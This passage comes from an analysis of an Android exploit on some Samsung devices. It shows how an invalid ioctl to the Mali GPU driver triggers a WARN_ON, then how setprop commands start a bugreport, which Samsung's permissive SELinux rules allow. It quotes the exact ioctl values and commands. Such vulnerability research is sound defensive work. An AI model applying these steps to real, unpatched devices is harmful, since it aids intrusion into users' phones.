<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The </span><span class="vdnyYxSRCi-c2">WARN_ON</span><span> that the exploit triggers is in the Mali GPU graphics driver provided by ARM. ARM replaced the </span><span class="vdnyYxSRCi-c2">WARN_ON</span><span> with a call to the more appropriate helper </span><span class="vdnyYxSRCi-c2">pr_warn</span><span> in </span><span class="vdnyYxSRCi-c24"><a class="vdnyYxSRCi-c61" href="https://developer.arm.com/downloads/-/mali-drivers/bifrost-kernel">release BX304L01B-SW-99002-r21p0-01rel1 in February 2020</a></span><span class="vdnyYxSRCi-c7">. However, the A51 (SM-A515F) and A50 (SM-A505F) still used a vulnerable version of the driver (r19p0) as of January 2021. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.f06791a45fc9ef7d932e2432c73114a95e71a32c"></a><a id="t.7"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20">/**</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * kbasep_vinstr_hwcnt_reader_ioctl() - hwcnt reader's ioctl.</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * @filp: Non-NULL pointer to file structure.</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * @cmd: User command.</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * @arg: Command's argument.</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> *</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> * Return: 0 on success, else error code.</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c20"> */</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c5">static</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">long</span><span class="vdnyYxSRCi-c4"> kbasep_vinstr_hwcnt_reader_ioctl</span><span class="vdnyYxSRCi-c0">(</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> file </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">filp</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">unsigned</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">int</span><span class="vdnyYxSRCi-c4"> cmd</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">unsigned</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">long</span><span class="vdnyYxSRCi-c4"> arg</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">long</span><span class="vdnyYxSRCi-c4"> rcode</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">struct</span><span class="vdnyYxSRCi-c4"> kbase_vinstr_client </span><span class="vdnyYxSRCi-c0">*</span><span class="vdnyYxSRCi-c4">cli</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(!</span><span class="vdnyYxSRCi-c4">filp </span><span class="vdnyYxSRCi-c0">||</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">_IOC_TYPE</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">cmd</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">!=</span><span class="vdnyYxSRCi-c4"> KBASE_HWCNT_READER</span><span class="vdnyYxSRCi-c0">))</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">EINVAL</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> cli </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> filp</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">private_data</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">if</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(!</span><span class="vdnyYxSRCi-c4">cli</span><span class="vdnyYxSRCi-c0">)</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">EINVAL</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">switch</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">cmd</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">{</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">case</span><span class="vdnyYxSRCi-c4"> KBASE_HWCNT_READER_GET_API_VERSION</span><span class="vdnyYxSRCi-c0">:</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> rcode </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> put_user</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">HWCNT_READER_API</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">u32 __user </span><span class="vdnyYxSRCi-c0">*)</span><span class="vdnyYxSRCi-c4">arg</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">break</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">case</span><span class="vdnyYxSRCi-c4"> KBASE_HWCNT_READER_GET_HWVER</span><span class="vdnyYxSRCi-c0">:</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> rcode </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> kbasep_vinstr_hwcnt_reader_ioctl_get_hwver</span><span class="vdnyYxSRCi-c0">(</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> cli</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">u32 __user </span><span class="vdnyYxSRCi-c0">*)</span><span class="vdnyYxSRCi-c4">arg</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">break</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">case</span><span class="vdnyYxSRCi-c4"> KBASE_HWCNT_READER_GET_BUFFER_SIZE</span><span class="vdnyYxSRCi-c0">:</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> rcode </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> put_user</span><span class="vdnyYxSRCi-c0">(</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">u32</span><span class="vdnyYxSRCi-c0">)</span><span class="vdnyYxSRCi-c4">cli</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">vctx</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">metadata</span><span class="vdnyYxSRCi-c0">-></span><span class="vdnyYxSRCi-c4">dump_buf_bytes</span><span class="vdnyYxSRCi-c0">,</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">u32 __user </span><span class="vdnyYxSRCi-c0">*)</span><span class="vdnyYxSRCi-c4">arg</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">break</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"> </span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">[...]</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">default</span><span class="vdnyYxSRCi-c0">:</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> WARN_ON</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">(</span><span class="vdnyYxSRCi-c5 vdnyYxSRCi-c9">true</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> rcode </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">EINVAL</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">break</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">}</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c3"></span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">return</span><span class="vdnyYxSRCi-c4"> rcode</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c0">}</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>Specifically the </span><span class="vdnyYxSRCi-c2">WARN_ON</span><span> is in the function </span><span class="vdnyYxSRCi-c2">kbase_vinstr_hwcnt_reader_ioctl</span><span>. To trigger, the exploit only needs to call an invalid ioctl number for the HWCNT driver and the </span><span class="vdnyYxSRCi-c2">WARN_ON</span><span> will be hit. The exploit makes two ioctl calls: the first is the Mali driver’s </span><span class="vdnyYxSRCi-c2">HWCNT_READER_SETUP</span><span class="vdnyYxSRCi-c7"> ioctl to initialize the hwcnt driver and be able to call ioctl’s and then to the hwcnt ioctl target with an invalid ioctl number: 0xFE.</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.5740d1b795e6d8f3d2789813a2e7543c30152854"></a><a id="t.8"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> hwcnt_fd </span><span class="vdnyYxSRCi-c0">=</span><span class="vdnyYxSRCi-c4"> ioctl</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">dev_mali_fd</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0x40148008</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">&</span><span class="vdnyYxSRCi-c4">v4</span><span class="vdnyYxSRCi-c0">);</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> ioctl</span><span class="vdnyYxSRCi-c0">(</span><span class="vdnyYxSRCi-c4">hwcnt_fd</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0x4004BEFE</span><span class="vdnyYxSRCi-c0">,</span><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">);</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>To trigger the vulnerability the exploit sends an invalid ioctl to the HWCNT driver a few times and then </span><span>triggers a bug report</span><span class="vdnyYxSRCi-c7"> by calling:</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.71e1e052b900c100803e05db5cd418f563a1e76f"></a><a id="t.9"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">setprop dumpstate</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">options bugreportfull</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">setprop ctl</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">start bugreport</span><span class="vdnyYxSRCi-c0">;</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>In Android, t</span><span>he property </span><span class="vdnyYxSRCi-c2">ctl.start</span><span> starts a service that is defined in </span><span class="vdnyYxSRCi-c2">init</span><span>. On the targeted Samsung devices, the SELinux policy for who has access to the </span><span class="vdnyYxSRCi-c2">ctl.start</span><span> property is much more permissive than AOSP’s policy. Most notably in this exploit’s case, </span><span class="vdnyYxSRCi-c2">system_app</span><span> has access to set </span><span class="vdnyYxSRCi-c2">ctl_start</span><span class="vdnyYxSRCi-c7"> and thus initiate the bugreport. </span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.22b28c103561fd0f51d7a87c9f8dd7a76750e7dd"></a><a id="t.10"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow at_distributor ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> getattr map open read </span><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow at_distributor ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">property_service </span><span class="vdnyYxSRCi-c5">set</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow bootchecker ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> getattr map open read </span><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow bootchecker ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">property_service </span><span class="vdnyYxSRCi-c5">set</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow dumpstate property_type</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> getattr map open read </span><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow hal_keymaster_default ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> getattr map open read </span><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow hal_keymaster_default ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">property_service </span><span class="vdnyYxSRCi-c5">set</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow ikev2_client ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> getattr map open read </span><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow ikev2_client ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">property_service </span><span class="vdnyYxSRCi-c5">set</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow init property_type</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> append create getattr map open read relabelto rename setattr unlink write </span><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow init property_type</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">property_service </span><span class="vdnyYxSRCi-c5">set</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow keystore ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> getattr map open read </span><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow keystore ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">property_service </span><span class="vdnyYxSRCi-c5">set</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow mediadrmserver ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> getattr map open read </span><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow mediadrmserver ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">property_service </span><span class="vdnyYxSRCi-c5">set</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow multiclientd ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> getattr map open read </span><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow multiclientd ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">property_service </span><span class="vdnyYxSRCi-c5">set</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow radio ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> getattr map open read </span><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow radio ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">property_service </span><span class="vdnyYxSRCi-c5">set</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow shell ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> getattr map open read </span><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow shell ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">property_service </span><span class="vdnyYxSRCi-c5">set</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow surfaceflinger ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> getattr map open read </span><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow surfaceflinger ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">property_service </span><span class="vdnyYxSRCi-c5">set</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">allow system_app ctl_start_prop</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">:</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">file </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">{</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9"> getattr map open read </span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">};</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">allow system_app ctl_start_prop</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">:</span><span class="vdnyYxSRCi-c4 vdnyYxSRCi-c9">property_service </span><span class="vdnyYxSRCi-c5 vdnyYxSRCi-c9">set</span><span class="vdnyYxSRCi-c0 vdnyYxSRCi-c9">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow system_server ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> getattr map open read </span><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow system_server ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">property_service </span><span class="vdnyYxSRCi-c5">set</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow vold ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> getattr map open read </span><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow vold ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">property_service </span><span class="vdnyYxSRCi-c5">set</span><span class="vdnyYxSRCi-c0">;</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow wlandutservice ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">file </span><span class="vdnyYxSRCi-c0">{</span><span class="vdnyYxSRCi-c4"> getattr map open read </span><span class="vdnyYxSRCi-c0">};</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">allow wlandutservice ctl_start_prop</span><span class="vdnyYxSRCi-c0">:</span><span class="vdnyYxSRCi-c4">property_service </span><span class="vdnyYxSRCi-c5">set</span><span class="vdnyYxSRCi-c0">;</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8"><span>The bugreport service is defined in </span><span class="vdnyYxSRCi-c2">/system/etc/init/dumpstate.rc</span><span class="vdnyYxSRCi-c7">:</span></p>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p><a id="t.a28f679f59f4b6f4de860e93ae1130f9799f221a"></a><a id="t.11"></a><table class="vdnyYxSRCi-c23"><tr class="vdnyYxSRCi-c19"><td class="vdnyYxSRCi-c10" colspan="1" rowspan="1">
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4">service bugreport </span><span class="vdnyYxSRCi-c0">/</span><span class="vdnyYxSRCi-c4">system</span><span class="vdnyYxSRCi-c0">/</span><span class="vdnyYxSRCi-c4">bin</span><span class="vdnyYxSRCi-c0">/</span><span class="vdnyYxSRCi-c4">dumpstate </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">d </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">p </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">B </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">z </span><span class="vdnyYxSRCi-c0">\</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c0">-</span><span class="vdnyYxSRCi-c4">o </span><span class="vdnyYxSRCi-c0">/</span><span class="vdnyYxSRCi-c4">data</span><span class="vdnyYxSRCi-c0">/</span><span class="vdnyYxSRCi-c4">user_de</span><span class="vdnyYxSRCi-c0">/</span><span class="vdnyYxSRCi-c13">0</span><span class="vdnyYxSRCi-c0">/</span><span class="vdnyYxSRCi-c4">com</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">android</span><span class="vdnyYxSRCi-c0">.</span><span class="vdnyYxSRCi-c4">shell</span><span class="vdnyYxSRCi-c0">/</span><span class="vdnyYxSRCi-c4">files</span><span class="vdnyYxSRCi-c0">/</span><span class="vdnyYxSRCi-c4">bugreports</span><span class="vdnyYxSRCi-c0">/</span><span class="vdnyYxSRCi-c3">bugreport</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> </span><span class="vdnyYxSRCi-c5">class</span><span class="vdnyYxSRCi-c3"> main</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c3"> disabled</span></p>
<p class="vdnyYxSRCi-c1"><span class="vdnyYxSRCi-c4"> oneshot</span></p></td></tr></table>
<p class="vdnyYxSRCi-c1 vdnyYxSRCi-c8 vdnyYxSRCi-c14"><span class="vdnyYxSRCi-c7"></span></p>
